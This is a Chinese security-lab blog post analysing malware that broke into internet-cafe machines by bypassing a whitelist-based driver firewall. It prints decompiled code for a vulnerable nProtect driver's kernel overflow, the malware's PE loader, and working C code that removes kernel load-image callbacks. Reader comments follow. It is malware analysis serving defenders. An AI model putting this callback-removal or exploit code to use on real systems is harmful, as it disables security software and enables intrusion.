by bingle of code audit labs of vulnhunt.com
url:http://blog.vulnhunt.com/index.php/2013/12/18/bypass_icafee_analysis/
这两天,一网吧的朋友向翰海源求助,说他们网吧装了多为网维大师被穿透了,被人中了很多木马,还造成了一定的损失。根据几天的分析,基本弄清楚攻击/绕过的原理,与大家一起分享下。
恶意样本b0005是针对网吧发起攻击的程序。现在网吧中的防护软件,多为网维大师。网维大师具有更新游戏、重启还原等功能。由于网维大师对驱动的防护是通过白名单来实现的,白名单中对驱动才会被放行允许加载。而第三方的白名单驱动存在漏洞,将导致网维大师的驱动防火墙被绕过,使得网吧系统不再安全。
一、 网维大师驱动防火墙的实现原理
网维大师的驱动防火墙实现,不是在NtLoadDriver乃至更底层函数IopLoadDriver上实现的,而是通过内核函数PsSetLoadImageNotifyRoutine安装模块加载回调实现的,在白名单中,就放行。否则,修改内核入口代码,直接返回。白名单的结构是:
+0 nCounts //白名单驱动数据
+4 fileSize_0 //白名单驱动0
+0x14 fileMd5_0
+0x18 fileSize_1
+0x28 fileMd5_1
以此类推。整个白名单驱动数目是0×4e0项。具体实现如下:
int __stdcall dump_CompareMd5ArrayAndPatchPEEntryPoint(stUnicodeString *puniImageName, int ProcessId, stImageInfo *pstImageInfo) { int result; // eax@1 int v4; // edx@2 __int16 v5; // di@2 int v6; // eax@2 int v8; // eax@7 int v9; // esi@8 unsigned int v10; // esi@22 int v11; // eax@22 int v12; // edx@22 int v13; // ecx@22 int v14; // esi@26 int v15; // eax@26 int v16; // edx@26 int v17; // eax@28 int v18; // edx@28 int v19; // [sp+Ch] [bp-20h]@1 unsigned int iNum; // [sp+10h] [bp-1Ch]@8 char irql; // [sp+16h] [bp-16h]@7 char bNonInMd5List; // [sp+17h] [bp-15h]@2 stMd5CalcResult md5Result; // [sp+18h] [bp-14h]@1 unsigned int v24; // [sp+28h] [bp-4h]@1 int v25; // [sp+2Ch] [bp+0h]@1 v24 = (unsigned int)&v25 ^ (unsigned int)off_8220121C; v19 = 0; result = 0; md5Result.md5_part1 = 0; md5Result.md5_part2 = 0; md5Result.md5_part3 = 0; md5Result.md5_part4 = 0; if ( !(dword_822012A4 & 1) ) return result; bNonInMd5List = 1; v5 = dump_CompareBinData((int)&v24, puniImageName, pstImageInfo->ImageBase); v6 = 0xFFFFu; if ( 0xFFFFu == v5 ) { v6 = dump_calcBinMd5(puniImageName, &md5Result);//计算md5 v19 = v6; if ( !v6 ) { bNonInMd5List = 1; v5 = 1; goto LABEL_22; } irql = g_KfAcquireSpinLock(v6, v4, 0x82201290u); v8 = dword_822012AC; if ( dword_822012AC ) { iNum = 0; v9 = dword_822012AC + 5; if ( *(_DWORD *)(dword_822012AC + 1) ) { do { if ( v19 == *(_DWORD *)v9 ) //比较文件大小 { v8 = g_RtlCompareMemory(v9 + 4, &md5Result, 0x10u);// md5值比对 if ( v8 == 0x10 ) { bNonInMd5List = 0; v5 = 0; break; } v8 = dword_822012AC; } v9 += 0x14u; //每一项长度为0x14 ++iNum; } while ( iNum < *(_DWORD *)(v8 + 1) ); } } LOBYTE(v4) = irql; v6 = g_KfReleaseSpinLock(v8, v4, 0x82201290u); if ( bNonInMd5List != 1 || !(dword_822012A4 & 2) ) goto LABEL_22; v6 = sub_821F8E56(puniImageName); if ( v6 && v6 != 1 ) { v5 = 0; goto LABEL_22; } v5 = 1; } else { bNonInMd5List = 1; //不在白名单中 if ( v5 != 4 ) goto LABEL_22; v5 = 2; } bNonInMd5List = 0; LABEL_22: v10 = 0; v11 = g_KfAcquireSpinLock(v6, v4, 0x82201290u); v13 = dword_822012E8; while ( v13 ) { v13 = *(_DWORD *)v13; ++v10; } LOBYTE(v12) = v11; result = g_KfReleaseSpinLock(v11, v12, 0x82201290u); if ( v10 length + 48, 'BLST'); ((void (__cdecl *)(int, _DWORD, int))dump_memset)(v14, 0, puniImageName->length + 48); *(_DWORD *)(v14 + 4) = puniImageName->length + 0x30; *(_BYTE *)(v14 + <img src="http://blog.vulnhunt.com/wp-includes/images/smilies/icon_cool.gif" alt="8)" class="wp-smiley"> = bNonInMd5List; *(_WORD *)(v14 + 10) = v5; *(_BYTE *)(v14 + 9) = 0; g_memmove(v14 + 44, puniImageName->buf, puniImageName->length + 2); *(_WORD *)(v14 + 2 * ((unsigned int)puniImageName->length >> 1) + 44) = 0; g_KeQuerySystemTime(v14 + 0x24); *(_DWORD *)(v14 + 12) = v19; v15 = g_memmove(v14 + 16, &md5Result, 16); if ( dword_822012A4 & 4 ) v15 = sub_821F8A3C((char)puniImageName, (int)puniImageName, (char *)(v14 + 12), 0, v14 + 32); v17 = g_KfAcquireSpinLock(v15, v16, 0x82201290u); *(_DWORD *)v14 = dword_822012E8; LOBYTE(v18) = v17; dword_822012E8 = v14; result = g_KfReleaseSpinLock(v17, v18, 0x82201290u); } if ( bNonInMd5List ) //如果不在白名单表中,将驱动的入口点改为0xc3,也就是ret result = dump_PatchDriverEntryPoint(pstImageInfo->ImageBase); return result; }
二、白名单存在安全问题的驱动分析
网维大师的驱动白名单多为游戏保护的驱动,很多游戏保护的驱动存在安全的问题。样本b0005使用的是nPotect的一个老驱动npDrv.sys,该文件的详细信息如下:
驱动npDrv在处理用户传入的控制码0×220324的对应的数据时,没有对用户传入数据的长度做判断进行拷贝操作,导致内核缓冲区溢出。出现问题的代码如下:
signed int __stdcall np_DeviceControl(PDEVICE_OBJECT a1, PIRP a2)
{
//部分变量声明省略
v33 = 0;
pIrlLocal = a2;
memset(&v34, 0, 0x24u);
v35 = 0;
pIoStackLocation_local = (PIO_STACK_LOCATION)a2->Tail.Overlay.CurrentStackLocation;
v4 = 2228712;
v36 = 0;
a2 = (PIRP)pIoStackLocation_local;
v5 = (unsigned int)pIoStackLocation_local->Parameters.DeviceControl.Argument3; //得到ioctlcode
if ( v5 > 0x2201E8 )
{
if ( v5 > 0x2203F4 )
{
v30 = v5 - 0x2203F8;
if ( !v30 ) //0x2203f8
{
sub_11AF8(a1, pIrlLocal);
return v36;
}
v31 = v30 - 6;
if ( !v31 ) // 0x2203FE
{
sub_11B62(a1, pIrlLocal);
return v36;
}
if ( v31 == 4 ) //0x220402
{
sub_11B87(a1, pIrlLocal);
return v36;
}
return 0xC000000Du;
}
if ( v5 == 0x2203F4 ) //0x2203f4
{
sub_11B68(a1, pIrlLocal);
return v36;
}
v23 = v5 - 2228748;
if ( !v23 ) //0x22020C
{
dword_1461C = *(_DWORD *)pIrlLocal->AssociatedIrp.MasterIrp;
return v36;
}
v24 = v23 - 0x118;
if ( !v24 ) //0x220324
return np_XXX(pIrlLocal, pIoStackLocation_local); //出现问题的控制码处理函数
v25 = v24 - 160;
if ( v25 )
{
if ( v25 == 46 )
{
v26 = pIrlLocal->MdlAddress;
a1 = (PDEVICE_OBJECT)1026;
if ( v26->MdlFlags & 5 )
v12 = v26->MappedSystemVa;
else
v12 = MmMapLockedPages(v26, 0);
v17 = pIoStackLocation_local->Parameters.DeviceControl.Argument1;
v16 = &a1;
goto LABEL_55;
}
return 0xC000000Du;
}
//部分伪代码省略
return v36;
}
继续跟踪np_XXX函数,如下:
unsigned int __stdcall np_XXX(PIRP pIrp_param, PIO_STACK_LOCATION pIoStackLocation_param)
{
unsigned int v2; // ebx@1
int v4; // [sp+Ch] [bp-8h]@1
HANDLE Handle; // [sp+10h] [bp-4h]@1
v4 = 0;
v2 = 0;
Handle = 0;
memcpy(
&v4,
pIrp_param->AssociatedIrp.MasterIrp,
(unsigned int)pIoStackLocation_param->Parameters.DeviceControl.Argument2); //拷贝时,没有检测用户传入的数据的长度,直接拷贝到v4当中,导致内核缓冲区溢出,覆盖返回值。
if ( v4 == 1 )
ObReferenceObjectByHandle(Handle, 0, 0, 1, &Object, 0);
else
v2 = 0xC0000001u;
return v2;
}
三、 样本绕过网维驱动防火墙分析
样本b0005加了tmd壳,对关键函数分析得知。样本首先通过服务加载存在安全漏洞的驱动npDrv.sys,通过DeviceIoControl发送0×220324到内核,同时,溢出触发后,讲eip指向用户空间的一个函数地址,该函数代码经过变形处理,该函数的主要功能是自己实现加载pe的过程。由于运行的irql为0环,所以,加载的是穿网维还原的内核驱动。
1) 自己实现pe load过程,具体过程如下:
int __cdecl b005_Pe_load(IMAGE_DOS_HEADER *pDosHeaders, int (__stdcall *g_addr_0x402990)(DWORD *, DWORD, PIMAGE_SECTION_HEADER, unsigned int, _DWORD), int g_addr_0x4028b0)
{
int result; // eax@4
unsigned int sectionCounts; // [sp+0h] [bp-14h]@5
struct _IMAGE_SECTION_HEADER *pSectionHeaderStart; // [sp+4h] [bp-10h]@5
int ImageBase_or_pBufAddr; // [sp+8h] [bp-Ch]@5
unsigned int i; // [sp+Ch] [bp-8h]@9
PIMAGE_NT_HEADERS pNTHeaders; // [sp+10h] [bp-4h]@1
pNTHeaders = b005_GetPImagePeHeaders(pDosHeaders);
if ( pNTHeaders && g_addr_0x402990 && g_addr_0x4028b0 )
{
ImageBase_or_pBufAddr = pNTHeaders->OptionalHeader.ImageBase;
sectionCounts = (unsigned __int16)b005_GetPeNumberOfSections(pDosHeaders);
pSectionHeaderStart = b005_GetPImageSectionHeader(pDosHeaders);
if ( (unsigned __int8)g_addr_0x402990(
(DWORD *)&ImageBase_or_pBufAddr,
pNTHeaders->OptionalHeader.SizeOfImage,
pSectionHeaderStart,
sectionCounts,
0) )
{
if ( ImageBase_or_pBufAddr )
{
b005_copy_binData(ImageBase_or_pBufAddr, pDosHeaders, pNTHeaders->OptionalHeader.SizeOfHeaders);
for ( i = 0; i < sectionCounts; ++i )
b005_copy_binData(
pSectionHeaderStart[i].VirtualAddress + ImageBase_or_pBufAddr,
(IMAGE_DOS_HEADER *)((char *)pDosHeaders + pSectionHeaderStart[i].PointerToRawData),
pSectionHeaderStart[i].SizeOfRawData);
b005_Fixup_BaseReloc_back((struct _IMAGE_DOS_HEADER *)ImageBase_or_pBufAddr);
if ( !b005_Fixup_ImportTable(
(PIMAGE_DOS_HEADER)ImageBase_or_pBufAddr,
(int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))g_addr_0x4028b0) )
{
g_addr_0x402990((DWORD *)&ImageBase_or_pBufAddr, 0, pSectionHeaderStart, sectionCounts, 1);
ImageBase_or_pBufAddr = 0;
}
result = ImageBase_or_pBufAddr;
}
else
{
result = 0;
}
}
else
{
result = 0;
}
}
else
{
result = 0;
}
return result;
}
2) 通过摘除回调使驱动防火墙失效
该样本变种,使用的是摘除内核LoageImageNotifyRoutine的回调过程,实现如下,
#pragma pack(1)
typedef struct _EX_FAST_REF
{
union
{
PVOID Object;
ULONG_PTR RefCnt:3;
ULONG_PTR Value;
};
} EX_FAST_REF, *PEX_FAST_REF;
typedef struct _EX_CALLBACK_ROUTINE_BLOCK
{
EX_RUNDOWN_REF RundownProtect;
PEX_CALLBACK_FUNCTION Function;
PVOID Context;
} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;
#pragma pack()
// PspLoadImageNotifyRoutine数组大小
#define PSP_MAX_LOAD_IMAGE_NOTIFY 8
// 系统PspLoadImageNotifyRoutine变量位置
PULONG g_PspLoadImageNotifyRoutine = NULL;
// 根据特征码查找PspLoadImageNotifyRoutine数组的起始地址
PULONG FindPspLoadImageNotifyRoutine( PUCHAR FuncBase )
{
ULONG nIndex;
PULONG result = NULL;
// 查找ing
for ( nIndex = 0; nIndex < 512; ++nIndex )
{
// 比较头部(这里的0x56和0xbe是特征码)
if ( (*(UCHAR*)FuncBase == 0x56) && (*(UCHAR*)(FuncBase + 1) == 0xbe) ) //特征码查找
{
// 保存地址并返回
result = *(PULONG)(FuncBase + 2);
break;
}
// 继续遍历
++FuncBase;
}
return result;
}
// 检测并挂钩NP的回调函数
VOID RemoveLoadImageCallBack()
{
PEX_FAST_REF ExRef;
ULONG nIndex;
NTSTATUS status;
ExRef = (PEX_FAST_REF)(g_PspLoadImageNotifyRoutine);
for ( nIndex = 0; nIndex Value & ~7); // 详见WRK
if ( MmIsAddressValid((PVOID)Point) )
{
// 移除注册的回调函数
status = PsRemoveLoadImageNotifyRoutine( Point->Function );//摘除该回调过程
if ( NT_SUCCESS(status) )
{
KdPrint(("remove LoadImage notify success: %d.\n", nIndex));
}
}
++ExRef;
}
}
摘除后,网维大师不再对驱动加载进行拦截。
四、 样本b0005穿还原的方式
样本b0005穿还原的方式,加载穿还原的机器狗驱动,通过dll劫持,替换lpk.dll为大小相近的fake_lpk.dll实现,达到重启后网吧电脑重启后,得到再次运行的机会,从而常驻网吧电脑。
五、 还有什么
没什么了,顺便吼一下, 亲们,加入翰海源吧,与我们一起成长,和我们一起做一些很有挑战、有意思的事情。
–EOF
- 上一篇:2013黑帽大会:失控 – 针对工业SCADA系统的漏洞利用(二)
- 下一篇:一款新的基于Tor的恶意软件 – ChewBacca
0daybank
已有 12 条评论
高端大气上档次啊
这才是业界良心的招聘广告呀
刚才那几个招人的 自己看看吧
一句人话没说比如钱呀房呀车呀都没许诺你 全是技术文章 还用张口闭口说我是极客我是大牛吗?
服不服?
一句 加入韩海源吧 全文呼应 这中学作文学的不错呀!
牛人!
。。。。。。。。。先不说内容,关键是能不打广告么???????
干货,我来打酱油
F5啊,好像我也会.
真心不错~
当年基本靠手速来破驱动防火墙~
不停的反复重启~
原来看很多网吧都用网维大师软件,还有很多小伙伴都找方法来免费上网的还在其他软件研究啊。
用内核溢出穿还原也太NB了吧,这样的马得多少钱一个?我觉得怎么也得10W块钱一个吧
看这牛为了写招聘,弄的一篇小文啊。不错
看错别字蛮多的
样本b0005使用的是nPotect的
nprotect
原来是这样穿的
现在的游戏驱动还有这么弱的漏洞吗?